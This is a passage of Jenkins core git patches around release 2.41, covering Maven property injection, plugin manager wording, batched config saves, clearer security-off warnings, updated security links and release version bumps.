b/core/src/main/java/hudson/tasks/Maven.java index a8d78ed344..dc9dfe8475 100644 --- a/core/src/main/java/hudson/tasks/Maven.java +++ b/core/src/main/java/hudson/tasks/Maven.java @@ -340,13 +340,17 @@ public class Maven extends Builder { } } + Set sensitiveVars = build.getSensitiveBuildVariables(); + + // Inject environment variables only if chosen to do so if (isInjectBuildVariables()) { - Set sensitiveVars = build.getSensitiveBuildVariables(); - args.addKeyValuePairs("-D",build.getBuildVariables(),sensitiveVars); - final VariableResolver resolver = new Union(new ByMap(env), vr); - args.addKeyValuePairsFromPropertyString("-D",this.properties,resolver,sensitiveVars); + args.addKeyValuePairs("-D", build.getBuildVariables(), sensitiveVars); } + // Add properties from builder configuration, AFTER the injected build variables. + final VariableResolver resolver = new Union(new ByMap(env), vr); + args.addKeyValuePairsFromPropertyString("-D", this.properties, resolver, sensitiveVars); + if (usesPrivateRepository()) args.add("-Dmaven.repo.local=" + build.getWorkspace().child(".repository")); args.addTokenized(normalizedTarget); diff --git a/test/src/test/java/hudson/tasks/MavenTest.java b/test/src/test/java/hudson/tasks/MavenTest.java index 5a61b3f5dc..bbc3d804a4 100644 --- a/test/src/test/java/hudson/tasks/MavenTest.java +++ b/test/src/test/java/hudson/tasks/MavenTest.java @@ -45,10 +45,8 @@ import hudson.tasks.Maven.MavenInstallation.DescriptorImpl; import hudson.tools.ToolProperty; import hudson.tools.ToolPropertyDescriptor; import hudson.tools.InstallSourceProperty; -import hudson.tools.ToolInstallation; import hudson.util.DescribableList; -import java.io.IOException; import java.util.Collections; import javax.xml.transform.Source; @@ -63,13 +61,11 @@ import hudson.model.PasswordParameterDefinition; import org.jvnet.hudson.test.Issue; import static org.junit.Assert.*; -import org.apache.tools.ant.filters.TokenFilter.ContainsString; import org.junit.Rule; import org.junit.Test; import org.jvnet.hudson.test.ExtractResourceSCM; import org.jvnet.hudson.test.JenkinsRule; import org.jvnet.hudson.test.ToolInstallations; -import org.jvnet.hudson.test.SingleFileSCM; /** * @author Kohsuke Kawaguchi @@ -323,21 +319,41 @@ public class MavenTest { FreeStyleProject p = j.createFreeStyleProject(); p.updateByXml((Source) new StreamSource(getClass().getResourceAsStream("MavenTest/doPassBuildVariablesOptionally.xml"))); String log = j.buildAndAssertSuccess(p).getLog(); - assertTrue(p.getBuildersList().get(Maven.class).isInjectBuildVariables()); - assertTrue("Build variables are injected", log.contains("-DNAME=VALUE")); + assertTrue("Build variables injection should be enabled by default when loading from XML", p.getBuildersList().get(Maven.class).isInjectBuildVariables()); + assertTrue("Build variables should be injected by default when loading from XML", log.contains("-DNAME=VALUE")); p.getBuildersList().clear(); p.getBuildersList().add(new Maven("--help", maven.getName(), null, null, null, false, null, null, false/*do not inject*/)); log = j.buildAndAssertSuccess(p).getLog(); - assertFalse("Build variables are not injected", log.contains("-DNAME=VALUE")); + assertFalse("Build variables should not be injected", log.contains("-DNAME=VALUE")); p.getBuildersList().clear(); p.getBuildersList().add(new Maven("--help", maven.getName(), null, null, null, false, null, null, true/*do inject*/)); log = j.buildAndAssertSuccess(p).getLog(); - assertTrue("Build variables are injected", log.contains("-DNAME=VALUE")); + assertTrue("Build variables should be injected", log.contains("-DNAME=VALUE")); - assertFalse(new Maven("", "").isInjectBuildVariables()); + assertFalse("Build variables injection should be disabled by default", new Maven("", "").isInjectBuildVariables()); + } + + @Test public void doAlwaysPassProperties() throws Exception { + MavenInstallation maven = ToolInstallations.configureMaven3(); + + FreeStyleProject p = j.createFreeStyleProject(); + String properties = "TEST_PROP1=VAL1\nTEST_PROP2=VAL2"; + + p.getBuildersList().add(new Maven("--help", maven.getName(), null, properties, null, false, null, + null, false/*do not inject build variables*/)); + String log = j.buildAndAssertSuccess(p).getLog(); + assertTrue("Properties should always be injected, even when build variables injection is disabled", + log.contains("-DTEST_PROP1=VAL1") && log.contains("-DTEST_PROP2=VAL2")); + + p.getBuildersList().clear(); + p.getBuildersList().add(new Maven("--help", maven.getName(), null, properties, null, false, null, + null, true/*do inject build variables*/)); + log = j.buildAndAssertSuccess(p).getLog(); + assertTrue("Properties should always be injected, even when build variables injection is enabled", + log.contains("-DTEST_PROP1=VAL1") && log.contains("-DTEST_PROP2=VAL2")); } } -- GitLab From ff6f601f5e9b9f639ef95ab814605f590f727da9 Mon Sep 17 00:00:00 2001 From: bpedersen2 Date: Fri, 16 Dec 2016 22:53:20 +0100 Subject: [PATCH 702/811] [JENKINS-39971] Always display the recheck button in the Plugin Manager (#2668) The re-check updatecenter button should be visible even if there are currently no pending updates. (cherry picked from commit 8634965a4f4833c93cf6f7f368891d7b54e7983f) --- .../main/resources/hudson/PluginManager/table.jelly | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/core/src/main/resources/hudson/PluginManager/table.jelly b/core/src/main/resources/hudson/PluginManager/table.jelly index ee41463e4e..7511c82584 100644 --- a/core/src/main/resources/hudson/PluginManager/table.jelly +++ b/core/src/main/resources/hudson/PluginManager/table.jelly @@ -148,18 +148,18 @@ THE SOFTWARE. - -
                                                        -
                                                        +
                                                        +
                                                        + - + +
                                                        - -- GitLab From ce8edf0d6d40bfb3613b28a4e8bfefbac52cb2a2 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 25 Dec 2016 16:37:18 +0100 Subject: [PATCH 703/811] [FIXED JENKINS-40666] - Correctly state that Jenkins will refuse to load plugins. (#2677) [JENKINS-40666] - Correctly state that Jenkins will refuse to load plugins. (cherry picked from commit d05752a03248035bc571732ed8c3cf6cf1e4dc05) --- .../main/resources/hudson/PluginManager/table.properties | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/core/src/main/resources/hudson/PluginManager/table.properties b/core/src/main/resources/hudson/PluginManager/table.properties index 4b5ae95d9b..35dffc1144 100644 --- a/core/src/main/resources/hudson/PluginManager/table.properties +++ b/core/src/main/resources/hudson/PluginManager/table.properties @@ -25,15 +25,14 @@ compatWarning=\ Consult the plugin release notes for details. coreWarning=\ Warning: This plugin is built for Jenkins {0} or newer. \ - It may or may not work in your Jenkins. + Jenkins will refuse to load this plugin if installed. depCompatWarning=\ Warning: This plugin requires dependent plugins be upgraded and at least one of these dependent plugins claims to use a different settings format than the installed version. \ Jobs using that plugin may need to be reconfigured, and/or you may not be able to cleanly revert to the prior version without manually restoring old settings. \ Consult the plugin release notes for details. depCoreWarning=\ - Warning: This plugin requires dependent plugins that are \ - built for Jenkins {0} or newer. The dependent plugins may \ - or may not work in your Jenkins and consequently this \ - plugin may or may not work in your Jenkins. + Warning: This plugin requires dependent plugins that require Jenkins {0} or newer. \ + Jenkins will refuse to load the dependent plugins requiring a newer version of Jenkins, \ + and in turn loading this plugin will fail. securityWarning=\ Warning: This plugin version may not be safe to use. Please review the following security notices: -- GitLab From ea97d511948ad4f3ae0a972d693aabab4a993ec1 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Fri, 16 Dec 2016 22:52:31 +0100 Subject: [PATCH 704/811] [JENKINS-40435] - Use BulkChange when processing config changes in Job#doConfigSubmit. (#2664) When an empty Freestyle job config gets submitted in the default configuration of Jenkins 2.35, the data is being saved to the disk *8 times*. All of them happen in this code: https://github.com/jenkinsci/jenkins/blob/master/core/src/main/java/hudson/model/Job.java#L1227-L1246 * setDisplayName * Project#getBuildWrappersList().rebuild (onModified handler) * Project#getBuilderList().rebuild (onModified handler) * Project#getPublisherList().rebuild (onModified handler) * AbstractProject#makeDisabled * AbstractProject#setScm * AbstractProject#triggers.replaceBy * final save() There is not so much sense to save partial configurations to the disk due to the risk of data inconsistency there. This change just wraps the config submission section of the job into the BulkChange clause. (cherry picked from commit a0262d2fec648fe98e83a08f1735394a9f243f4d) --- core/src/main/java/hudson/model/Job.java | 35 ++++++++++++------------ 1 file changed, 18 insertions(+), 17 deletions(-) diff --git a/core/src/main/java/hudson/model/Job.java b/core/src/main/java/hudson/model/Job.java index 9dc1e2752a..88d39ac15f 100644 --- a/core/src/main/java/hudson/model/Job.java +++ b/core/src/main/java/hudson/model/Job.java @@ -1224,26 +1224,27 @@ public abstract class Job, RunT extends Run, JobPropertyDescriptor> t = new DescribableList, JobPropertyDescriptor>(NOOP,getAllProperties()); - JSONObject jsonProperties = json.optJSONObject("properties"); - if (jsonProperties != null) { - t.rebuild(req,jsonProperties,JobPropertyDescriptor.getPropertyDescriptors(Job.this.getClass())); - } else { - t.clear(); - } - properties.clear(); - for (JobProperty p : t) { - p.setOwner(this); - properties.add(p); - } - - submit(req, rsp); + DescribableList, JobPropertyDescriptor> t = new DescribableList, JobPropertyDescriptor>(NOOP,getAllProperties()); + JSONObject jsonProperties = json.optJSONObject("properties"); + if (jsonProperties != null) { + t.rebuild(req,jsonProperties,JobPropertyDescriptor.getPropertyDescriptors(Job.this.getClass())); + } else { + t.clear(); + } + properties.clear(); + for (JobProperty p : t) { + p.setOwner(this); + properties.add(p); + } - save(); + submit(req, rsp); + bc.commit(); + } ItemListener.fireOnUpdated(this); String newName = req.getParameter("name"); -- GitLab From 2dcaddeaabad99e98090165bb5affa431888bd9a Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 11 Jan 2017 20:45:40 +0100 Subject: [PATCH 705/811] More strongly worded message on enabling security --- .../diagnostics/SecurityIsOffMonitor/message.properties | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/core/src/main/resources/jenkins/diagnostics/SecurityIsOffMonitor/message.properties b/core/src/main/resources/jenkins/diagnostics/SecurityIsOffMonitor/message.properties index 8f9e0d816e..2766958d4e 100644 --- a/core/src/main/resources/jenkins/diagnostics/SecurityIsOffMonitor/message.properties +++ b/core/src/main/resources/jenkins/diagnostics/SecurityIsOffMonitor/message.properties @@ -21,5 +21,5 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # -blurb=Unsecured Jenkins allows anyone on the network to launch processes on your behalf. \ - Consider at least enabling authentication to discourage misuse. \ No newline at end of file +blurb=Jenkins is currently unsecured and allows anyone on the network to launch processes on your behalf. \ + It is recommended to set up security and to limit anonymous access even on private networks. -- GitLab From 81c0f46ca5577918295541746083d757ea74eb22 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Wed, 11 Jan 2017 20:54:56 +0100 Subject: [PATCH 706/811] [FIX JENKINS-40813] Better message on 'Enable security' option --- .../help-useSecurity.html | 21 +++++++------------ 1 file changed, 8 insertions(+), 13 deletions(-) diff --git a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity.html b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity.html index ad1c5cecd0..6ededf98ff 100644 --- a/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity.html +++ b/core/src/main/resources/hudson/security/GlobalSecurityConfiguration/help-useSecurity.html @@ -1,20 +1,15 @@
                                                        - If enabled, you have to login with a username and a password that has the "admin" role - before changing the configuration or running a new build (look for the "login" link - at the top right portion of the page). - Configuration of user accounts is specific to the web container you are using. - (For example, in Tomcat, by default, it looks for $TOMCAT_HOME/conf/tomcat-users.xml) -

                                                        - If you are using Jenkins in an intranet (or other "trusted" environment), it's usually - desirable to leave this checkbox off, so that each project developer can configure their own - project without bothering you. + Enabling security allows configuring authentication (how people can identify themselves) and authorization (what + permissions they get). +

                                                        - If you are exposing Jenkins to the internet, you must turn this on. Jenkins launches - processes, so insecure Jenkins is a sure way of being hacked. + A number of options are built in. Please note that granting significant permissions to anonymous users, or allowing + users to sign up and granting permissions to all authenticated users, does not actually increase security. +

                                                        - For more information about security and Jenkins, see - this document. + For more information about security and Jenkins, see + this document.

                                                        -- GitLab From 5c8c64be06a804ef24805e4db31efbf5963fc66c Mon Sep 17 00:00:00 2001 From: Daniel Spilker Date: Fri, 13 Jan 2017 12:05:21 +0100 Subject: [PATCH 707/811] updated Groovy to 2.4.8 [FIXES JENKINS-33358] --- core/pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/pom.xml b/core/pom.xml index dae3d70f75..fc2415419d 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -41,7 +41,7 @@ THE SOFTWARE. true 1.248 2.5.6.SEC03 - 2.4.7 + 2.4.8 true -- GitLab From 9fbcb99ded55c7cb9ca5a1c5349fe888bbbcdfe3 Mon Sep 17 00:00:00 2001 From: "R. Tyler Croy" Date: Tue, 3 Jan 2017 15:10:55 -0800 Subject: [PATCH 708/811] Update the Agent => Master security link to point to a non-Apache redirect This help text points to a very old redirect which is only editable in our infrastructure Puppet code (which will at some point in the distant future be removed). Changing to jenkins.io/redirect means that the destination of this redirect is easily modified by pull requests to https://github.com/jenkins-infra/jenkins.io See also jenkins-infra/jenkins.io#520 --- core/src/main/java/jenkins/SoloFilePathFilter.java | 2 +- .../java/jenkins/security/s2m/CallableDirectionChecker.java | 2 +- .../jenkins/security/s2m/AdminWhitelistRule/index.jelly | 2 +- .../help-masterToSlaveAccessControl.html | 2 +- .../security/s2m/MasterKillSwitchWarning/message.properties | 2 +- .../s2m/MasterKillSwitchWarning/message_pt_BR.properties | 4 ++-- .../s2m/MasterKillSwitchWarning/message_sr.properties | 2 +- core/src/main/resources/jenkins/security/s2m/callable.conf | 2 +- .../main/resources/jenkins/security/s2m/filepath-filter.conf | 2 +- 9 files changed, 10 insertions(+), 10 deletions(-) diff --git a/core/src/main/java/jenkins/SoloFilePathFilter.java b/core/src/main/java/jenkins/SoloFilePathFilter.java index 9897284582..ce13575982 100644 --- a/core/src/main/java/jenkins/SoloFilePathFilter.java +++ b/core/src/main/java/jenkins/SoloFilePathFilter.java @@ -28,7 +28,7 @@ public final class SoloFilePathFilter extends FilePathFilter { private boolean noFalse(String op, File f, boolean b) { if (!b) - throw new SecurityException("agent may not " + op + " " + f+"\nSee http://jenkins-ci.org/security-144 for more details"); + throw new SecurityException("agent may not " + op + " " + f+"\nSee https://jenkins.io/redirect/security-144 for more details"); return true; } diff --git a/core/src/main/java/jenkins/security/s2m/CallableDirectionChecker.java b/core/src/main/java/jenkins/security/s2m/CallableDirectionChecker.java index 858375a8ab..d21c5a5880 100644 --- a/core/src/main/java/jenkins/security/s2m/CallableDirectionChecker.java +++ b/core/src/main/java/jenkins/security/s2m/CallableDirectionChecker.java @@ -60,7 +60,7 @@ public class CallableDirectionChecker extends RoleChecker { return; } - throw new SecurityException("Sending " + name + " from agent to master is prohibited.\nSee http://jenkins-ci.org/security-144 for more details"); + throw new SecurityException("Sending " + name + " from agent to master is prohibited.\nSee https://jenkins.io/redirect/security-144 for more details"); } /** diff --git a/core/src/main/resources/jenkins/security/s2m/AdminWhitelistRule/index.jelly b/core/src/main/resources/jenkins/security/s2m/AdminWhitelistRule/index.jelly index d4c181f80f..738fe7cf02 100644 --- a/core/src/main/resources/jenkins/security/s2m/AdminWhitelistRule/index.jelly +++ b/core/src/main/resources/jenkins/security/s2m/AdminWhitelistRule/index.jelly @@ -36,7 +36,7 @@ THE SOFTWARE. as an administrator, you can mark commands as OK for agents to execute (aka "whitelisting".)

                                                        - Please see the discussion of this feature to + Please see the discussion of this feature to understand the security implication of this.
                                                        diff --git a/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchConfiguration/help-masterToSlaveAccessControl.html b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchConfiguration/help-masterToSlaveAccessControl.html index e47019b266..af45b30516 100644 --- a/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchConfiguration/help-masterToSlaveAccessControl.html +++ b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchConfiguration/help-masterToSlaveAccessControl.html @@ -1,4 +1,4 @@
                                                        - See Jenkins project website for discussion of this feature. + See Jenkins project website for discussion of this feature. We strongly recommend you enable this.
                                                        diff --git a/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message.properties b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message.properties index fe6e52c2b5..48ec09a5df 100644 --- a/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message.properties +++ b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message.properties @@ -1,2 +1,2 @@ blurb=Agent to master security subsystem is currently off. \ - Please read the documentation and consider turning it on. \ No newline at end of file + Please read the documentation and consider turning it on. diff --git a/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_pt_BR.properties b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_pt_BR.properties index 9fcd4e1473..bd5c7db995 100644 --- a/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_pt_BR.properties +++ b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_pt_BR.properties @@ -22,5 +22,5 @@ Examine= Dismiss= -# Please read the documentation and consider turning it on. - Por favor leia a documenta\u00e7\u00e3o e ligue novamente. +# Please read the documentation and consider turning it on. + Por favor leia a documenta\u00e7\u00e3o e ligue novamente. diff --git a/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_sr.properties b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_sr.properties index f92800a9ed..41945798fe 100644 --- a/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_sr.properties +++ b/core/src/main/resources/jenkins/security/s2m/MasterKillSwitchWarning/message_sr.properties @@ -3,4 +3,4 @@ Examine= Dismiss=\u041E\u0442\u043A\u0430\u0436\u0438 blurb=\u0421\u0438\u0441\u0442\u0435\u043C \u043E\u0431\u0435\u0437\u0431\u0435\u0436\u0438\u0432\u0430\u045A\u0430 \u0432\u0435\u0437\u043E\u043C \u0438\u0437\u043C\u0435\u0452\u0443 \u0430\u0433\u0435\u043D\u0442\u0430 \u0438 \u043C\u0430\u0441\u0442\u0435\u0440\u0430 \u0458\u0435 \u0438\u0441\u043A\u0459\u0443\u0447\u0435\u043D. \ - \u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441, \u043F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u0434\u043E\u043A\u043C\u0435\u043D\u0442\u0430\u0446\u0438\u0458\u0443 \u0438 \u0443\u043A\u0459\u0443\u0447\u0438\u0442\u0435 \u0430\u043A\u043E \u0432\u0430\u043C \u0458\u0435 \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E. + \u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441, \u043F\u0440\u043E\u0447\u0438\u0442\u0430\u0458\u0442\u0435 \u0434\u043E\u043A\u043C\u0435\u043D\u0442\u0430\u0446\u0438\u0458\u0443 \u0438 \u0443\u043A\u0459\u0443\u0447\u0438\u0442\u0435 \u0430\u043A\u043E \u0432\u0430\u043C \u0458\u0435 \u043F\u043E\u0442\u0440\u0435\u0431\u043D\u043E. diff --git a/core/src/main/resources/jenkins/security/s2m/callable.conf b/core/src/main/resources/jenkins/security/s2m/callable.conf index 070379c61f..cb8943df26 100644 --- a/core/src/main/resources/jenkins/security/s2m/callable.conf +++ b/core/src/main/resources/jenkins/security/s2m/callable.conf @@ -5,7 +5,7 @@ # To whitelist other names, place *.conf files by other names into this folder. # This file gets overwritten every time Jenkins starts. # -# See http://jenkins-ci.org/security-144 for more details. +# See https://jenkins.io/redirect/security-144 for more details. # maven plugin hudson.maven.MavenBuildProxy$Filter$AsyncInvoker diff --git a/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf b/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf index c1883cc562..affea08f69 100644 --- a/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf +++ b/core/src/main/resources/jenkins/security/s2m/filepath-filter.conf @@ -7,7 +7,7 @@ # before parsed, so using a lower number allows you to override what we have here. This file # gets overwritten every time Jenkins starts. # -# See http://jenkins-ci.org/security-144 for more details. +# See https://jenkins.io/redirect/security-144 for more details. # This directory contains credentials, master encryption keys, and other sensitive information # that slaves have absolutely no business with. -- GitLab From a1fde68ed7579364d0f682c7fae1e7c43c05cbdc Mon Sep 17 00:00:00 2001 From: Baptiste Mathus Date: Sat, 14 Jan 2017 23:38:26 +0100 Subject: [PATCH 709/811] [INFRA-1032] hack around by forcing user.name --- Jenkinsfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Jenkinsfile b/Jenkinsfile index 16259bc1c7..73bcc7ae51 100644 --- a/Jenkinsfile +++ b/Jenkinsfile @@ -48,7 +48,7 @@ for(i = 0; i < buildTypes.size(); i++) { if(isUnix()) { sh mvnCmd } else { - bat mvnCmd + bat "$mvnCmd -Duser.name=yay" // INFRA-1032 workaround } } } -- GitLab From dd3dc92df2dc8dd30a50d71b138b5a36aae5ea8e Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 15 Jan 2017 20:30:05 -0800 Subject: [PATCH 710/811] Fixed a regression in 9fbcb99ded55c7cb9ca5a1c5349fe888bbbcdfe3 The test was not updated to reflect the URL change. This is blocking a release. --- .../test/java/hudson/bugs/JnlpAccessWithSecuredHudsonTest.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/test/src/test/java/hudson/bugs/JnlpAccessWithSecuredHudsonTest.java b/test/src/test/java/hudson/bugs/JnlpAccessWithSecuredHudsonTest.java index e047da3073..af0c270163 100644 --- a/test/src/test/java/hudson/bugs/JnlpAccessWithSecuredHudsonTest.java +++ b/test/src/test/java/hudson/bugs/JnlpAccessWithSecuredHudsonTest.java @@ -124,7 +124,7 @@ public class JnlpAccessWithSecuredHudsonTest extends HudsonTestCase { fail("SECURITY-206: " + channel.call(new Attack(f.getAbsolutePath()))); } catch (SecurityException x) { System.out.println("expected: " + x); - assertTrue(x.getMessage().contains("http://jenkins-ci.org/security-144")); + assertTrue(x.getMessage().contains("https://jenkins.io/redirect/security-144")); } return; } -- GitLab From 0c13742be014d85727849141d29ca2b52243f6e2 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 15 Jan 2017 21:23:07 -0800 Subject: [PATCH 711/811] [maven-release-plugin] prepare release jenkins-2.41 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index f7ea4a0543..22c13991b5 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.41-SNAPSHOT + 2.41 cli diff --git a/core/pom.xml b/core/pom.xml index dae3d70f75..56b7940dae 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.41-SNAPSHOT + 2.41 jenkins-core diff --git a/pom.xml b/pom.xml index a78176f2dc..badd726307 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.41-SNAPSHOT + 2.41 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.41 diff --git a/test/pom.xml b/test/pom.xml index a7b5f557db..82ac29a3fc 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.41-SNAPSHOT + 2.41 test diff --git a/war/pom.xml b/war/pom.xml index 9fdd44ce21..ad5e4c77b2 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.41-SNAPSHOT + 2.41 jenkins-war -- GitLab From 98109f10deadb5b46407472b6acc52c9f343d6ef Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 15 Jan 2017 21:23:07 -0800 Subject: [PATCH 712/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 22c13991b5..1476cd850b 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.41 + 2.42-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 56b7940dae..9ef49b064f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.41 + 2.42-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index badd726307..4b96c2133a 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.41 + 2.42-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.41 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 82ac29a3fc..954f8b33c6 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.41 + 2.42-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index ad5e4c77b2..a3632779e5 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.41 + 2.42-SNAPSHOT jenkins-war -- GitLab From 3001230f9a1ca67c032326da6e8b493de67d5c65 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 15 Jan 2017 21:30:19 -0800 Subject: [PATCH 713/811] updated changelog for release --- changelog.html | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/changelog.html b/changelog.html index 4cbd39792e..ee5810e386 100644 --- a/changelog.html +++ b/changelog.html @@ -59,6 +59,10 @@ Upcoming changes
                                                      +

                                                      What's new in 2.41 (2017/01/15)

                                                      +
                                                        +
                                                      • +

                                                      What's new in 2.40 (2017/01/08)

                                                      • -- GitLab From e663b315ee8fc024dcab4cfa6821430a89a48cc3 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Mon, 16 Jan 2017 12:20:34 +0100 Subject: [PATCH 714/811] Noting #2706, #2709, #2713, #2714, #2712 --- changelog.html | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index ee5810e386..cfe1605754 100644 --- a/changelog.html +++ b/changelog.html @@ -61,7 +61,21 @@ Upcoming changes

                                                        What's new in 2.41 (2017/01/15)

                                                          -
                                                        • +
                                                        • + Restore option value for setting build result to unstable when loading shell and batch build steps from disk. + (issue 40894) +
                                                        • + Autocomplete admin-only links in search suggestions only when admin. + (issue 7874) +
                                                        • + Improve agent protocol descriptions. + (issue 40700) +
                                                        • + Improve description for Enable Security option and administrative monitor when security is off. + (issue 40813) +
                                                        • + Enable the JNLP4 agent protocol by default. + (issue 40886)

                                                        What's new in 2.40 (2017/01/08)

                                                          -- GitLab From 5b370be0871d81b7b7d774ff9f0ee3f8478ea2c9 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Mon, 16 Jan 2017 12:55:05 +0100 Subject: [PATCH 715/811] Clarify PluginManager#getPlugin() and Jenkins#getPlugin() methods --- core/src/main/java/hudson/PluginManager.java | 10 ++++++++-- core/src/main/java/jenkins/model/Jenkins.java | 14 ++++++++++---- 2 files changed, 18 insertions(+), 6 deletions(-) diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index e46068ab10..8673d99ee4 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -1145,8 +1145,11 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas /** * Get the plugin instance with the given short name. * @param shortName the short name of the plugin - * @return The plugin singleton or null if a plugin with the given short name does not exist. + * @return The plugin singleton or {@code null} if a plugin with the given short name does not exist. + * The fact the plugin is loaded does not mean it is enabled and fully initialized for the current Jenkins session. + * Use {@link PluginWrapper#isActive()} to check it. */ + @CheckForNull public PluginWrapper getPlugin(String shortName) { for (PluginWrapper p : getPlugins()) { if(p.getShortName().equals(shortName)) @@ -1159,8 +1162,11 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas * Get the plugin instance that implements a specific class, use to find your plugin singleton. * Note: beware the classloader fun. * @param pluginClazz The class that your plugin implements. - * @return The plugin singleton or null if for some reason the plugin is not loaded. + * @return The plugin singleton or {@code null} if for some reason the plugin is not loaded. + * The fact the plugin is loaded does not mean it is enabled and fully initialized for the current Jenkins session. + * Use {@link Plugin#getWrapper()} and then {@link PluginWrapper#isActive()} to check it. */ + @CheckForNull public PluginWrapper getPlugin(Class pluginClazz) { for (PluginWrapper p : getPlugins()) { if(pluginClazz.isInstance(p.getPlugin())) diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 8ce9542eab..0d9a4b5b2f 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -1556,11 +1556,14 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve /** * Gets the plugin object from its short name. - * - *

